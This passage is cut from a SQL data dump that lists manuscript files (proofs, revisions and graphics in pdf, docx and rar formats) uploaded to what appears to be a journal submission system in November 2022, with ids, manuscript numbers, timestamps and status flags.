14:01:56',1,3,0),(34031,13155,'13155-0-Manuscript-2022-11-02.docx',NULL,'2022-11-02 14:17:47',1,1,0),(34032,13013,'13013-Manuscript-2022-11-02-jds0.pdf',NULL,'2022-11-02 14:30:44',1,3,0),(34033,13137,'13137-lgdp-Manuscript-proof-submission-2022-11-02.rar',NULL,'2022-11-02 15:10:05',1,3,0),(34034,7186,'7186-12kd-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 15:28:37',1,3,0),(34035,7186,'7186-eb7o-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 15:28:38',1,3,0),(34036,12157,'12157-45rx-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 15:48:32',1,3,0),(34037,12157,'12157-5jep-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 15:48:35',1,3,0),(34038,12157,'12157-mywv-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 15:48:38',1,3,0),(34039,12157,'12157-n6lz-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 15:48:38',1,3,0),(34040,11589,'11589-ng8j-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 15:57:46',1,3,0),(34041,11589,'11589-teuk-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 15:57:46',1,3,0),(34042,11958,'11958-2qbl-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 16:45:31',1,3,0),(34043,11958,'11958-xfs2-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 16:45:31',1,3,0),(34044,11958,'11958-icwl-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 16:45:42',1,3,0),(34045,11958,'11958-8dyu-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 16:45:42',1,3,0),(34046,12295,'12295-rfs2-Manuscript-proof-submission-2022-11-02.pdf',NULL,'2022-11-02 16:58:59',1,3,0),(34047,12295,'12295-iw3a-Manuscript-proof-submission-2022-11-02.docx',NULL,'2022-11-02 16:58:59',1,3,0),(34048,12925,'12925-Manuscript-2022-11-02-lj3t-graphic-completed.pdf',NULL,'2022-11-02 18:29:23',1,3,0),(34049,13046,'13046-Manuscript-2022-11-03-6lmf-iphspr-22-13046.rar',NULL,'2022-11-03 09:49:22',1,3,0),(34050,13046,'13046-Manuscript-2022-11-03-9dlw-iphspr-22-13046.rar',NULL,'2022-11-03 09:50:01',1,3,0),(34051,4328,'4328-cr32-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 09:55:46',1,3,0),(34052,4328,'4328-kjrb-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 09:55:46',1,3,0),(34053,4328,'4328-onm2-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 09:58:10',1,3,0),(34054,4328,'4328-kinf-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 09:58:10',1,3,0),(34055,4328,'4328-kf85-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 09:58:14',1,3,0),(34056,4328,'4328-7o8u-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 09:58:14',1,3,0),(34057,5925,'5925-p03g-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:19:07',1,3,0),(34058,5925,'5925-s2mw-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:19:07',1,3,0),(34059,5925,'5925-vb32-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:19:10',1,3,0),(34060,5925,'5925-jovf-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:19:10',1,3,0),(34061,6460,'6460-3qhp-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:30:07',1,3,0),(34062,6460,'6460-o3fr-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:30:07',1,3,0),(34063,6463,'6463-gvrd-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:31:42',1,3,0),(34064,6463,'6463-nxb0-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:31:42',1,3,0),(34065,6681,'6681-d2gl-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:32:47',1,3,0),(34066,6681,'6681-od9n-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:32:48',1,3,0),(34067,6761,'6761-39cl-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 10:33:43',1,3,0),(34068,6761,'6761-vsbk-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 10:33:44',1,3,0),(34069,12892,'12892-Manuscript-2022-11-03-jaep.pdf',NULL,'2022-11-03 10:55:57',1,3,0),(34070,12925,'12925-Manuscript-2022-11-03-dpkh.pdf',NULL,'2022-11-03 11:04:45',1,3,0),(34071,6229,'6229-prs6-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 11:32:06',1,3,0),(34072,6229,'6229-ltv3-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 11:32:07',1,3,0),(34073,12386,'12386-wyln-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 11:42:02',1,3,0),(34074,12386,'12386-5bxf-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 11:42:02',1,3,0),(34075,4248,'4248-39e5-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 12:21:23',1,3,0),(34076,4248,'4248-fe0t-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:21:24',1,3,0),(34077,4248,'4248-ioca-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 12:21:31',1,3,0),(34078,4248,'4248-uq0s-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:21:31',1,3,0),(34079,4248,'4248-u9wb-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 12:21:38',1,3,0),(34080,4248,'4248-uxjb-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:21:38',1,3,0),(34081,12286,'12286-Manuscript-2022-11-03-bpej-iphspr-22-12286.rar',NULL,'2022-11-03 12:28:53',1,3,0),(34082,10454,'10454-zxd2-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 12:33:21',1,3,0),(34083,10454,'10454-fpul-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:33:21',1,3,0),(34084,10454,'10454-y35p-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 12:33:24',1,3,0),(34085,10454,'10454-8onb-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:33:24',1,3,0),(34086,11320,'11320-t46i-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 12:50:17',1,3,0),(34087,12573,'12573-5vig-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 13:01:01',1,3,0),(34088,12579,'12579-rm7d-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 14:13:56',1,3,0),(34089,12726,'12726-4zcj-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 14:19:59',1,3,0),(34090,13156,'13156-0-Manuscript-2022-11-03.docx',NULL,'2022-11-03 14:36:05',1,1,0),(34091,13150,'13150-btey-Manuscript-proof-submission-2022-11-03.rar',NULL,'2022-11-03 14:47:44',1,3,0),(34092,13151,'13151-bx82-Manuscript-proof-submission-2022-11-03.rar',NULL,'2022-11-03 14:48:20',1,3,0),(34093,13152,'13152-mp8f-Manuscript-proof-submission-2022-11-03.rar',NULL,'2022-11-03 14:49:12',1,3,0),(34094,12712,'12712-5mkl-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 15:03:50',1,3,0),(34095,12753,'12753-4c12-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 15:10:51',1,3,0),(34096,13152,'13152-Manuscript-2022-11-03-jo6m-ap-team-revised.rar',NULL,'2022-11-03 15:20:25',1,3,0),(34097,13150,'13150-Manuscript-2022-11-03-tumn-ap-team-revised.rar',NULL,'2022-11-03 15:20:57',1,3,0),(34098,13151,'13151-Manuscript-2022-11-03-txri-ap-team-revised.rar',NULL,'2022-11-03 15:21:44',1,3,0),(34099,12770,'12770-r456-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 15:36:38',1,3,0),(34100,12434,'12434-eh0j-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 16:04:56',1,3,0),(34101,12434,'12434-v6r3-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 16:04:56',1,3,0),(34102,12434,'12434-kz8n-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 16:05:23',1,3,0),(34103,12434,'12434-l4it-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 16:05:23',1,3,0),(34104,12403,'12403-ba7d-Manuscript-proof-submission-2022-11-03.pdf',NULL,'2022-11-03 17:28:46',1,3,0),(34105,12403,'12403-tn5h-Manuscript-proof-submission-2022-11-03.docx',NULL,'2022-11-03 17:28:46',1,3,0),(34106,13069,'13069-ai4u-Manuscript-proof-submission-2022-11-04.docx',NULL,'2022-11-04 11:34:43',1,3,0),(34107,13157,'13157-0-Manuscript-2022-11-04.docx',NULL,'2022-11-04 12:21:17',1,1,0),(34108,13151,'13151-Manuscript-2022-11-04-ec4n-graphic-completed.pdf',NULL,'2022-11-04 12:30:35',1,3,0),(34109,13150,'13150-Manuscript-2022-11-04-cq2g-graphic-completed.pdf',NULL,'2022-11-04 12:30:40',1,3,0),(34110,13152,'13152-Manuscript-2022-11-04-pc04-graphic-completed.pdf',NULL,'2022-11-04 12:30:46',1,3,0),(34111,13158,'13158-0-Manuscript-2022-11-04.docx',NULL,'2022-11-04 14:42:36',1,1,0),(34112,13159,'13159-0-Manuscript-2022-11-04.docx',NULL,'2022-11-04 15:57:09',1,1,0),(34113,11101,'11101-b5hm-Manuscript-proof-submission-2022-11-04.pdf',NULL,'2022-11-04 17:01:49',1,3,0),(34114,11101,'11101-3490-Manuscript-proof-submission-2022-11-04.docx',NULL,'2022-11-04 17:01:49',1,3,0),(34115,12787,'12787-g7qs-Manuscript-proof-submission-2022-11-04.pdf',NULL,'2022-11-04 17:19:54',1,3,0),(34116,12787,'12787-5wuj-Manuscript-proof-submission-2022-11-04.docx',NULL,'2022-11-04 17:19:54',1,3,0),(34117,13152,'13152-Manuscript-2022-11-05-i8fb.pdf',NULL,'2022-11-05 10:01:12',1,3,0),(34118,4071,'4071-n49q-Manuscript-proof-submission-2022-11-05.pdf',NULL,'2022-11-05 11:02:26',1,3,0),(34119,4071,'4071-3sf5-Manuscript-proof-submission-2022-11-05.zip',NULL,'2022-11-05 11:02:26',1,3,0),(34120,13112,'13112-ju0f-Manuscript-proof-submission-2022-11-05.rar',NULL,'2022-11-05 11:12:02',1,3,0),(34121,13113,'13113-vcte-Manuscript-proof-submission-2022-11-05.rar',NULL,'2022-11-05 11:12:48',1,3,0),(34122,13139,'13139-zahx-Manuscript-proof-submission-2022-11-05.rar',NULL,'2022-11-05 11:13:22',1,3,0),(34123,13139,'13139-Manuscript-2022-11-05-jlzw-ap-team-revised.rar',NULL,'2022-11-05 12:10:35',1,3,0),(34124,13113,'13113-Manuscript-2022-11-05-nzr6-ap-team-revised.rar',NULL,'2022-11-05 12:11:10',1,3,0),(34125,13112,'13112-Manuscript-2022-11-05-6re3-ap-team-revised.rar',NULL,'2022-11-05 12:11:46',1,3,0),(34126,13083,'13083-6mis-Manuscript-proof-submission-2022-11-05.rar',NULL,'2022-11-05 12:34:27',1,3,0),(34127,13133,'13133-7e4j-Manuscript-2022-11-06.pdf',NULL,'2022-11-06 21:11:52',1,1,0),(34128,13133,'13133-nqse-Manuscript-2022-11-06.pdf',NULL,'2022-11-06 21:13:09',1,1,0),(34129,13083,'13083-Manuscript-2022-11-07-a1ys-ipacm-22-13083.rar',NULL,'2022-11-07 09:39:47',1,3,1),(34130,13135,'13135-Manuscript-2022-11-07-zlwt-ipacm-22-13135.rar',NULL,'2022-11-07 09:40:43',1,3,1),(34131,13137,'13137-Manuscript-2022-11-07-68yq-ipacm-22-13137.rar',NULL,'2022-11-07 09:41:22',1,3,1),(34132,13069,'13069-Manuscript-2022-11-07-qaj8-ipaom-22-13069.rar',NULL,'2022-11-07 10:53:38',1,3,0),(34133,10452,'10452-Manuscript-2022-11-07-ps3q-ipadm-21-10452.zip',NULL,'2022-11-07 16:42:05',1,3,0),(34134,10452,'10452-Manuscript-2022-11-07-uein.pdf',NULL,'2022-11-07 18:05:12',1,3,0),(34135,12965,'12965-l92w-Manuscript-proof-submission-2022-11-08.docx',NULL,'2022-11-08 10:19:54',1,3,0),(34136,13144,'13144-Manuscript-2022-11-08-shrf-graphic-completed.pdf',NULL,'2022-11-08 10:33:52',1,3,0),(34137,13145,'13145-Manuscript-2022-11-08-hjk0-graphic-completed.pdf',NULL,'2022-11-08 10:34:03',1,3,0),(34138,13143,'13143-Manuscript-2022-11-08-sdy3-graphic-completed.pdf',NULL,'2022-11-08 10:34:19',1,3,0),(34139,12286,'12286-Manuscript-2022-11-08-wyct-graphic-completed.pdf',NULL,'2022-11-08 10:41:40',1,3,1),(34140,13007,'13007-Manuscript-2022-11-08-ieha-graphic-completed.pdf',NULL,'2022-11-08 10:41:44',1,3,0),(34141,13046,'13046-Manuscript-2022-11-08-pu5a-graphic-completed.pdf',NULL,'2022-11-08 11:18:29',1,3,1),(34142,13128,'13128-Manuscript-2022-11-08-kz41-graphic-completed.pdf',NULL,'2022-11-08 11:18:33',1,3,0),(34143,13128,'13128-Manuscript-2022-11-08-5g9s-graphic-completed.pdf',NULL,'2022-11-08 11:18:34',1,3,1),(34144,13127,'13127-Manuscript-2022-11-08-0yes-graphic-completed.pdf',NULL,'2022-11-08 11:18:38',1,3,1),(34145,13007,'13007-Manuscript-2022-11-08-w5ft-graphic-completed.pdf',NULL,'2022-11-08 11:19:31',1,3,1),(34146,12995,'12995-wzk6-Manuscript-proof-submission-2022-11-08.pdf',NULL,'2022-11-08 12:39:10',1,3,0),(34147,12908,'12908-hoqx-Manuscript-proof-submission-2022-11-08.docx',NULL,'2022-11-08 12:39:36',1,3,0),(34148,12960,'12960-og20-Manuscript-proof-submission-2022-11-08.docx',NULL,'2022-11-08 12:53:03',1,3,0),(34149,13001,'13001-ohkx-Manuscript-proof-submission-2022-11-08.docx',NULL,'2022-11-08 12:56:18',1,3,0),(34150,13112,'13112-Manuscript-2022-11-08-0czh-graphic-completed.pdf',NULL,'2022-11-08 13:09:29',1,3,0),(34151,13113,'13113-Manuscript-2022-11-08-die6-graphic-completed.pdf',NULL,'2022-11-08 13:09:34',1,3,0),(34152,13139,'13139-Manuscript-2022-11-08-zqai-graphic-completed.pdf',NULL,'2022-11-08 13:09:41',1,3,0),(34153,13109,'13109-Manuscript-2022-11-08-caw7-graphic-completed.pdf',NULL,'2022-11-08 13:10:52',1,3,0),(34154,13135,'13135-Manuscript-2022-11-08-fce9-graphic-completed.pdf',NULL,'2022-11-08 13:44:49',1,3,0),(34155,13137,'13137-Manuscript-2022-11-08-acp5-graphic-completed.pdf',NULL,'2022-11-08 13:44:58',1,3,0),(34156,13083,'13083-Manuscript-2022-11-08-1xuo-graphic-completed.pdf',NULL,'2022-11-08 13:45:12',1,3,1),(34157,12953,'12953-Manuscript-2022-11-08-yztr.pdf',NULL,'2022-11-08 17:06:29',1,3,0),(34158,12954,'12954-Manuscript-2022-11-08-w2zj.pdf',NULL,'2022-11-08 17:08:10',1,3,0),(34159,12944,'12944-Manuscript-2022-11-08-865b.pdf',NULL,'2022-11-08 17:10:09',1,3,0),(34160,12947,'12947-Manuscript-2022-11-08-i984.pdf',NULL,'2022-11-08 17:12:00',1,3,0),(34161,13012,'13012-Manuscript-2022-11-08-s94m.pdf',NULL,'2022-11-08 17:13:26',1,3,0),(34162,12812,'12812-Manuscript-2022-11-08-2zt6.pdf',NULL,'2022-11-08 17:18:52',1,3,0),(34163,13003,'13003-Manuscript-2022-11-08-mlby.pdf',NULL,'2022-11-08 17:20:19',1,3,0),(34164,13002,'13002-Manuscript-2022-11-08-cij4.pdf',NULL,'2022-11-08 17:21:56',1,3,0),(34165,13014,'13014-Manuscript-2022-11-08-vf4u.pdf',NULL,'2022-11-08 17:23:45',1,3,0),(34166,13144,'13144-Manuscript-2022-11-08-t14y.pdf',NULL,'2022-11-08 17:50:47',1,3,0),(34167,13143,'13143-Manuscript-2022-11-08-gmhv.pdf',NULL,'2022-11-08 17:52:24',1,3,0),(34168,12970,'12970-Manuscript-2022-11-08-0zip.pdf',NULL,'2022-11-08 17:57:22',1,3,0),(34169,13067,'13067-knts-Manuscript-2022-11-09.docx',NULL,'2022-11-09 13:29:43',1,1,0),(34170,13145,'13145-Manuscript-2022-11-09-iogt.pdf',NULL,'2022-11-09 14:33:59',1,3,1),(34171,13160,'13160-0-Manuscript-2022-11-10.docx',NULL,'2022-11-10 09:09:06',1,1,0),(34172,13160,'13160-2-Manuscript-2022-11-10.docx',NULL,'2022-11-10 09:09:06',1,1,0),(34173,13162,'13162-0-Manuscript-2022-11-10.docx',NULL,'2022-11-10 12:28:17',1,1,0),(34174,13162,'13162-1-Manuscript-2022-11-10.docx',NULL,'2022-11-10 12:28:17',1,1,0),(34175,13162,'13162-2-Manuscript-2022-11-10.docx',NULL,'2022-11-10 12:28:17',1,1,0),(34176,13162,'13162-3-Manuscript-2022-11-10.docx',NULL,'2022-11-10 12:28:17',1,1,0),(34177,13128,'13128-Manuscript-2022-11-10-3oe2.pdf',NULL,'2022-11-10 13:23:26',1,3,0),(34178,13127,'13127-Manuscript-2022-11-10-vucr.pdf',NULL,'2022-11-10 13:25:41',1,3,0),(34179,13007,'13007-Manuscript-2022-11-10-edg7.pdf',NULL,'2022-11-10 13:26:52',1,3,0),(34180,13046,'13046-Manuscript-2022-11-10-0l4c.pdf',NULL,'2022-11-10 13:27:49',1,3,0),(34181,12286,'12286-Manuscript-2022-11-10-8gwc.pdf',NULL,'2022-11-10 13:29:13',1,3,0),(34182,13070,'13070-di6v-Manuscript-proof-submission-2022-11-10.rar',NULL,'2022-11-10 15:13:12',1,3,0),(34183,13063,'13063-u7q0-Manuscript-proof-submission-2022-11-10.rar',NULL,'2022-11-10 15:13:27',1,3,0),(34184,12499,'12499-Manuscript-2022-11-10-t6r5-ipar-22-12499.rar',NULL,'2022-11-10 15:19:07',1,3,0),(34185,13035,'13035-Manuscript-2022-11-10-xcae-ipar-22-13035.rar',NULL,'2022-11-10 15:20:01',1,3,0),(34186,12979,'12979-Manuscript-2022-11-10-7o32-ipar-22-12979.rar',NULL,'2022-11-10 15:20:46',1,3,0),(34187,12662,'12662-Manuscript-2022-11-10-a0zm-ipacm-22-12662.rar',NULL,'2022-11-10 15:21:58',1,3,0),(34188,13163,'13163-0-Manuscript-2022-11-10.docx',NULL,'2022-11-10 15:30:18',1,1,0),(34189,13133,'13133-3oby-Manuscript-proof-submission-2022-11-10.docx',NULL,'2022-11-10 16:49:04',1,3,0),(34190,13067,'13067-p3t1-Manuscript-proof-submission-2022-11-10.rar',NULL,'2022-11-10 17:24:49',1,3,1),(34191,13063,'13063-Manuscript-2022-11-10-ram5-ap-team-revised.rar',NULL,'2022-11-10 17:32:58',1,3,0),(34192,13070,'13070-Manuscript-2022-11-10-bz9s-ap-team-revised.rar',NULL,'2022-11-10 17:33:46',1,3,0),(34193,13067,'13067-Manuscript-2022-11-11-pqsf-iphsj-22-13067.rar',NULL,'2022-11-11 09:54:04',1,3,0),(34194,12324,'12324-Manuscript-2022-11-11-hnu2-iphspr-22-12324.rar',NULL,'2022-11-11 10:30:03',1,3,0),(34195,13150,'13150-Manuscript-2022-11-11-6nsd.pdf',NULL,'2022-11-11 11:36:42',1,3,0),(34196,13151,'13151-Manuscript-2022-11-11-zfhn.pdf',NULL,'2022-11-11 11:37:41',1,3,0),(34197,13157,'13157-51dr-Manuscript-proof-submission-2022-11-11.rar',NULL,'2022-11-11 12:21:13',1,3,0),(34198,13164,'13164-0-Manuscript-2022-11-11.docx',NULL,'2022-11-11 13:20:47',1,1,0),(34199,13165,'13165-0-Manuscript-2022-11-11.docx',NULL,'2022-11-11 13:29:26',1,1,0),(34200,13109,'13109-Manuscript-2022-11-14-f07a.pdf',NULL,'2022-11-14 09:54:45',1,3,0),(34201,13139,'13139-Manuscript-2022-11-14-cxny.pdf',NULL,'2022-11-14 09:55:59',1,3,0),(34202,13113,'13113-Manuscript-2022-11-14-78bo.pdf',NULL,'2022-11-14 09:57:07',1,3,0),(34203,13112,'13112-Manuscript-2022-11-14-4qhc.pdf',NULL,'2022-11-14 09:58:10',1,3,0),(34204,13108,'13108-Manuscript-2022-11-14-9fmu.pdf',NULL,'2022-11-14 09:58:58',1,3,0),(34205,13166,'13166-0-Manuscript-2022-11-14.docx',NULL,'2022-11-14 10:03:06',1,1,0),(34206,13067,'13067-Manuscript-2022-11-14-9one-graphic-completed.pdf',NULL,'2022-11-14 10:25:30',1,3,0),(34207,13167,'13167-0-Manuscript-2022-11-14.docx',NULL,'2022-11-14 10:49:28',1,1,0),(34208,12895,'12895-pbxg-Manuscript-proof-submission-2022-11-14.docx',NULL,'2022-11-14 12:36:10',1,3,0),(34209,12860,'12860-1zub-Manuscript-proof-submission-2022-11-14.docx',NULL,'2022-11-14 12:37:31',1,3,0),(34210,12852,'12852-joc7-Manuscript-proof-submission-2022-11-14.docx',NULL,'2022-11-14 12:38:36',1,3,0),(34211,12868,'12868-3ols-Manuscript-proof-submission-2022-11-14.docx',NULL,'2022-11-14 12:38:59',1,3,0),(34212,12883,'12883-1eo7-Manuscript-proof-submission-2022-11-14.docx',NULL,'2022-11-14 12:39:28',1,3,0),(34213,13124,'13124-q674-Manuscript-proof-submission-2022-11-14.rar',NULL,'2022-11-14 15:13:03',1,3,0),(34214,13168,'13168-0-Manuscript-2022-11-15.docx',NULL,'2022-11-15 09:52:05',1,1,0),(34215,13069,'13069-Manuscript-2022-11-15-x4f2.pdf',NULL,'2022-11-15 11:31:01',1,3,0),(34216,13146,'13146-tyhw-Manuscript-proof-submission-2022-11-15.rar',NULL,'2022-11-15 12:01:52',1,3,1),(34217,13147,'13147-mpx4-Manuscript-proof-submission-2022-11-15.rar',NULL,'2022-11-15 12:03:13',1,3,1),(34218,13156,'13156-7sn0-Manuscript-proof-submission-2022-11-15.rar',NULL,'2022-11-15 12:04:27',1,3,1),(34219,13158,'13158-ce8o-Manuscript-proof-submission-2022-11-15.rar',NULL,'2022-11-15 12:05:20',1,3,1),(34220,13159,'13159-uqol-Manuscript-proof-submission-2022-11-15.rar',NULL,'2022-11-15 12:05:55',1,3,1),(34221,13165,'13165-kg78-Manuscript-proof-submission-2022-11-15.docx',NULL,'2022-11-15 13:46:42',1,3,0),(34222,13133,'13133-Manuscript-2022-11-15-lgk5-ijddr-22-13133.rar',NULL,'2022-11-15 13:48:59',1,3,1),(34223,13165,'13165-Manuscript-2022-11-15-twpj-ap-team-revised.rar',NULL,'2022-11-15 13:49:42',1,3,1),(34224,13169,'13169-0-Manuscript-2022-11-15.docx',NULL,'2022-11-15 16:48:31',1,1,0),(34225,3324,'3324-Manuscript-2022-11-16-0j8o-ipadm-19-2584.zip',NULL,'2022-11-16 15:41:10',1,3,0),(34226,13070,'13070-Manuscript-2022-11-16-9hxu-graphic-completed.pdf',NULL,'2022-11-16 16:56:39',1,3,0),(34227,13063,'13063-Manuscript-2022-11-16-7v8p-graphic-completed.pdf',NULL,'2022-11-16 16:56:44',1,3,0),(34229,13159,'13159-Manuscript-2022-11-17-uqhk-ipmedt-22-13159.rar',NULL,'2022-11-17 09:21:45',1,3,0),(34230,13158,'13158-Manuscript-2022-11-17-4ftp-ipmedt-22-13158.rar',NULL,'2022-11-17 09:22:37',1,3,0),(34231,13146,'13146-Manuscript-2022-11-17-4k2c-ipmedt-22-13146.rar',NULL,'2022-11-17 09:26:23',1,3,0),(34232,13147,'13147-Manuscript-2022-11-17-wf0n-ipmedt-22-13147.rar',NULL,'2022-11-17 09:27:24',1,3,0),(34233,13156,'13156-Manuscript-2022-11-17-487g-ipmedt-22-13156.rar',NULL,'2022-11-17 10:05:40',1,3,0),(34234,12386,'12386-kzoj-Manuscript-proof-submission-2022-11-17.docx',NULL,'2022-11-17 11:38:17',1,3,0),(34235,12386,'12386-ox14-Manuscript-proof-submission-2022-11-17.pdf',NULL,'2022-11-17 11:38:17',1,3,0),(34236,13157,'13157-Manuscript-2022-11-17-3ple-ipacm-22-13157.rar',NULL,'2022-11-17 12:24:25',1,3,1),(34237,13131,'13131-2wsk-Manuscript-proof-submission-2022-11-17.docx',NULL,'2022-11-17 12:28:38',1,3,0),(34238,13130,'13130-ncu4-Manuscript-proof-submission-2022-11-17.docx',NULL,'2022-11-17 12:29:19',1,3,0),(34239,13171,'13171-0-Manuscript-2022-11-17.docx',NULL,'2022-11-17 13:13:00',1,1,0),(34240,13124,'13124-Manuscript-2022-11-17-tjn2-ipacm-22-13124.rar',NULL,'2022-11-17 13:58:49',1,3,1),(34241,13159,'13159-Manuscript-2022-11-17-h47d-graphic-completed.pdf',NULL,'2022-11-17 14:58:03',1,3,1),(34242,13158,'13158-Manuscript-2022-11-17-4igl-graphic-completed.pdf',NULL,'2022-11-17 14:58:08',1,3,1),(34243,13156,'13156-Manuscript-2022-11-17-3sq6-graphic-completed.pdf',NULL,'2022-11-17 14:58:13',1,3,1),(34244,13147,'13147-Manuscript-2022-11-17-kc15-graphic-completed.pdf',NULL,'2022-11-17 14:58:18',1,3,1),(34245,13146,'13146-Manuscript-2022-11-17-tqg6-graphic-completed.pdf',NULL,'2022-11-17 14:58:22',1,3,1),(34247,13173,'13173-0-Manuscript-2022-11-17.docx',NULL,'2022-11-17 15:33:09',1,1,0),(34248,13174,'13174-0-Manuscript-2022-11-17.doc',NULL,'2022-11-17 15:33:25',1,1,0),(34249,13124,'13124-Manuscript-2022-11-17-7q25-graphic-completed.pdf',NULL,'2022-11-17 17:08:13',1,3,0),(34250,13157,'13157-Manuscript-2022-11-17-l9mf-graphic-completed.pdf',NULL,'2022-11-17 17:17:06',1,3,0),(34251,13156,'13156-Manuscript-2022-11-17-95tp.pdf',NULL,'2022-11-17 18:02:49',1,3,0),(34252,13146,'13146-Manuscript-2022-11-18-aod5.pdf',NULL,'2022-11-18 09:44:33',1,3,0),(34253,13147,'13147-Manuscript-2022-11-18-i08l.pdf',NULL,'2022-11-18 09:46:19',1,3,0),(34254,13159,'13159-Manuscript-2022-11-18-9k68.pdf',NULL,'2022-11-18 09:48:03',1,3,0),(34255,13158,'13158-Manuscript-2022-11-18-5tyk.pdf',NULL,'2022-11-18 09:49:36',1,3,0),(34256,13165,'13165-Manuscript-2022-11-18-9ryb-graphic-completed.pdf',NULL,'2022-11-18 11:01:07',1,3,0),(34257,13133,'13133-Manuscript-2022-11-18-fi4y-graphic-completed.pdf',NULL,'2022-11-18 11:05:42',1,3,0),(34258,13175,'13175-0-Manuscript-2022-11-18.docx',NULL,'2022-11-18 12:09:00',1,1,0),(34259,13176,'13176-0-Manuscript-2022-11-18.docx',NULL,'2022-11-18 12:13:55',1,1,0),(34260,13177,'13177-0-Manuscript-2022-11-18.docx',NULL,'2022-11-18 12:17:21',1,1,0),(34261,13133,'13133-Manuscript-2022-11-18-17q6-graphic-completed.pdf',NULL,'2022-11-18 12:18:43',1,3,0),(34262,13178,'13178-0-Manuscript-2022-11-18.docx',NULL,'2022-11-18 12:21:58',1,1,0),(34263,13169,'13169-g9os-Manuscript-proof-submission-2022-11-18.docx',NULL,'2022-11-18 12:29:00',1,3,0),(34264,13137,'13137-Manuscript-2022-11-18-zkib.pdf',NULL,'2022-11-18 13:28:03',1,3,0),(34265,13137,'13137-Manuscript-2022-11-18-qm40.pdf',NULL,'2022-11-18 13:30:11',1,3,1),(34266,13135,'13135-Manuscript-2022-11-18-2v85.pdf',NULL,'2022-11-18 13:33:17',1,3,1),(34267,13124,'13124-Manuscript-2022-11-18-m1nh.pdf',NULL,'2022-11-18 13:36:45',1,3,1),(34268,13131,'13131-Manuscript-2022-11-18-y0wg-ijddr-22-13131.rar',NULL,'2022-11-18 16:46:33',1,3,1),(34269,13157,'13157-Manuscript-2022-11-18-qhdn.pdf',NULL,'2022-11-18 16:50:06',1,3,1),(34270,13179,'13179-0-Manuscript-2022-11-19.docx',NULL,'2022-11-19 10:47:25',1,1,0),(34271,13180,'13180-0-Manuscript-2022-11-19.docx',NULL,'2022-11-19 11:31:03',1,1,0),(34272,13067,'13067-Manuscript-2022-11-21-ar68.pdf',NULL,'2022-11-21 10:49:19',1,3,0),(34273,13173,'13173-0z9l-Manuscript-proof-submission-2022-11-21.docx',NULL,'2022-11-21 12:19:42',1,3,0),(34274,13181,'13181-0-Manuscript-2022-11-21.docx',NULL,'2022-11-21 12:26:32',1,1,0),(34275,13047,'13047-wfkm-Manuscript-proof-submission-2022-11-21.rar',NULL,'2022-11-21 15:04:23',1,3,0),(34276,13182,'13182-0-Manuscript-2022-11-21.docx',NULL,'2022-11-21 15:19:40',1,1,0),(34277,13169,'13169-Manuscript-2022-11-21-xr4q-ijddr-22-13169.rar',NULL,'2022-11-21 15:41:30',1,3,1),(34278,13175,'13175-awnx-Manuscript-proof-submission-2022-11-21.docx',NULL,'2022-11-21 17:00:01',1,3,0),(34279,13176,'13176-dk1l-Manuscript-proof-submission-2022-11-21.docx',NULL,'2022-11-21 17:02:17',1,3,0),(34280,13177,'13177-geuo-Manuscript-proof-submission-2022-11-21.docx',NULL,'2022-11-21 